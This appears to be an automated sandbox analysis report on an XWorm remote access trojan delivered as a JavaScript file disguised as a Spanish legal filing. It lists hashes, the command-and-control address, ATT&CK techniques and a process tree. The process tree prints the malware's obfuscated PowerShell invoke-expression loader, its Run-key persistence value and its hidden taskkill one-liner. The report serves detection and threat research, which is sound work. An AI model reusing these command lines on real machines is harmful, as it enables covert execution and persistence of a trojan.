xworm | dd4b9767799491dd2512771297fbf54718946ec915622dd3c637b6359a9e2e5c

Analysis

max time kernel
148s
max time network
126s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-es
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-eslocale:es-esos:windows11-ltsc_2024-x64systemwindows
submitted
01/10/2026, 16:56

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General

Target
ALEGATO DE TUTELA_POR_INCUMPLIMIENTO.js
Size 60KB
Sample261001-vfxb8atyet
SHA256 dd4b9767799491dd2512771297fbf54718946ec915622dd3c637b6359a9e2e5c
MD5 fd03c51da1ed5666ff2479a3b428ca35
SHA1 e86904d02f2f0ace2b5fd1459a8903f5c79eab52
SHA512 695f222efe0e526bb7d695872fb994135a6962e3fd32847826a6dce316bd449449937b9571334d462b8767817a410927ae82b7815ad106bc6f8b0988418141b6
SSDEEP 768:PS5EirIw35HjJ6GQHwJmiCVGyzjKgZnHX74QKMv0Zm0Ojon3sYepLzu4Z:PCEirIw35HjJ6GQHwJmiCVGyNDO36pN
TLSH
T183538306C2C74D948E43629FC10AD91F9BB447E27C95A8956E36A3DEF7BCD2310B6630
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution xworm persistence rat trojan

Malware Config

Extracted

Family

xworm

77.110.114.115:3008

Mutex

2fGT2cx5O89h5QbX

Attributes

install_file
USB.exe

aes.plain

Signatures

Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/memory/1980-29-0x0000022AD73D0000-0x0000022AD73DE000-memory.dmp	family_xworm
behavioral2/memory/1980-27-0x0000022AD73D0000-0x0000022AD73DE000-memory.dmp	family_xworm

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2260	828	cmd.exe	89

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	2648	powershell.exe
9	2648	powershell.exe
10	2648	powershell.exe
11	2648	powershell.exe
12	2648	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3316	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Run\kSfmmekSem = "wscript.exe \"C:\\ProgramData\\WinUpdat.js\""	powershell.exe

Enumerates connected drives 3 TTPs 2 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2648 set thread context of 1980	2648	powershell.exe	102

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2260	cmd.exe
3668	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wscript.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
3744	taskkill.exe
3500	taskkill.exe
2200	taskkill.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2648	powershell.exe
2648	powershell.exe
2648	powershell.exe
2648	powershell.exe
3316	powershell.exe
3316	powershell.exe
3316	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2648	powershell.exe
Token: SeDebugPrivilege	3316	powershell.exe
Token: SeDebugPrivilege	3744	taskkill.exe
Token: SeDebugPrivilege	3500	taskkill.exe
Token: SeDebugPrivilege	2200	taskkill.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2260 wrote to memory of 2648	2260	cmd.exe	92
PID 2648 wrote to memory of 3316	2648	powershell.exe	94
PID 3316 wrote to memory of 3668	3316	powershell.exe	96
PID 3668 wrote to memory of 3744	3668	cmd.exe	98
PID 3668 wrote to memory of 3500	3668	cmd.exe	99
PID 3668 wrote to memory of 2200	3668	cmd.exe	100
PID 2648 wrote to memory of 1980	2648	powershell.exe	102
PID 2648 wrote to memory of 1980	2648	powershell.exe	102
PID 2648 wrote to memory of 1980	2648	powershell.exe	102
PID 2648 wrote to memory of 1980	2648	powershell.exe	102
PID 2648 wrote to memory of 1980	2648	powershell.exe	102
PID 2648 wrote to memory of 1980	2648	powershell.exe	102

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\ALEGATO DE TUTELA_POR_INCUMPLIMIENTO.js"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:3652

C:\Windows\system32\cmd.exe
cmd /c %SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe .(${env:ProgramFiles(x86)}[12,14,18]-join'') $env:kjcpIfjFz; Copy-Item -Path C:\Users\Admin\AppData\Local\Temp\ALEGATO DE TUTELA_POR_INCUMPLIMIENTO.js -Destination 'C:\ProgramData\WinUpdat.js' -Force
1⤵
- Process spawned unexpected child process
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe .(${env:ProgramFiles(x86)}[12,14,18]-join'') $env:kjcpIfjFz; Copy-Item -Path C:\Users\Admin\AppData\Local\Temp\ALEGATO DE TUTELA_POR_INCUMPLIMIENTO.js -Destination 'C:\ProgramData\WinUpdat.js' -Force
  2⤵
  - Badlisted process makes network request
  - Adds Run key to start application
  - Enumerates connected drives
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2648
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3316
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3668
    - - C:\Windows\System32\taskkill.exe
        
        taskkill /IM RegAsm.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3744
    - - C:\Windows\System32\taskkill.exe
        
        taskkill /IM Vbc.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3500
    - - C:\Windows\System32\taskkill.exe
        
        taskkill /IM MsBuild.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2200
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe"
    3⤵
    PID:1980

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
MD5 b65d38126d60f6776d0fee761697a8ab
SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
TLSH
T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 065c9ca78469619fe70ec93c02f542bf4f3fb20bf020c23501e06a4fe8a0f905
MD5 99a6b7222b8640c9585fd8602ef3595f
SHA1 e040d50c70eef3d0b1243c612c817627201eb093
SHA512 ab347c529eda91ce3ff4a0a447b30381c1f8e811f512225ab860da2b2010b3276b275753df782ca8d630ecc784fcde35e5b92f02f494eb72539529de8c2b2009
TLSH
T17C217833F3DC8611D889413A50CEEC0432B687DB809ECE9BBB84D614B13F599CE601A0
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_50ykrbw2.vuw.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_50ykrbw2.vuw.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/1980-27-0x0000022AD73D0000-0x0000022AD73DE000-memory.dmp

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memory/1980-29-0x0000022AD73D0000-0x0000022AD73DE000-memory.dmp

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memory/2648-14-0x00007FFD93AB0000-0x00007FFD94454000-memory.dmp

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memory/2648-18-0x00007FFD93AB0000-0x00007FFD94454000-memory.dmp

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memory/2648-9-0x00000234CC540000-0x00000234CC642000-memory.dmp

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memory/2648-10-0x00007FFD93AB0000-0x00007FFD94454000-memory.dmp

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memory/2648-11-0x00007FFD93AB0000-0x00007FFD94454000-memory.dmp

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memory/2648-12-0x00007FFD93AB0000-0x00007FFD94454000-memory.dmp

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memory/2648-13-0x00007FFD93AB0000-0x00007FFD94454000-memory.dmp

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memory/2648-0-0x00007FFD93C3F000-0x00007FFD93C40000-memory.dmp

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memory/2648-16-0x00007FFD93AB0000-0x00007FFD94454000-memory.dmp

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memory/2648-15-0x00007FFD93AB0000-0x00007FFD94454000-memory.dmp

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memory/2648-17-0x00007FFD93AB0000-0x00007FFD94454000-memory.dmp

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memory/2648-8-0x00007FFD93AB0000-0x00007FFD94454000-memory.dmp

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memory/2648-19-0x00000234CC3E0000-0x00000234CC420000-memory.dmp

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memory/2648-20-0x00007FFD93AB0000-0x00007FFD94454000-memory.dmp

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memory/2648-22-0x00000234B3B80000-0x00000234B3B9A000-memory.dmp

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memory/2648-7-0x00007FFD93AB0000-0x00007FFD94454000-memory.dmp

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memory/2648-6-0x00007FFD93AB0000-0x00007FFD94454000-memory.dmp

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memory/2648-5-0x00000234CC290000-0x00000234CC2A0000-memory.dmp

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memory/2648-4-0x00000234CC260000-0x00000234CC282000-memory.dmp

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memory/2648-1-0x00000234CC2F0000-0x00000234CC372000-memory.dmp

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memory/2648-32-0x00007FFD93AB0000-0x00007FFD94454000-memory.dmp

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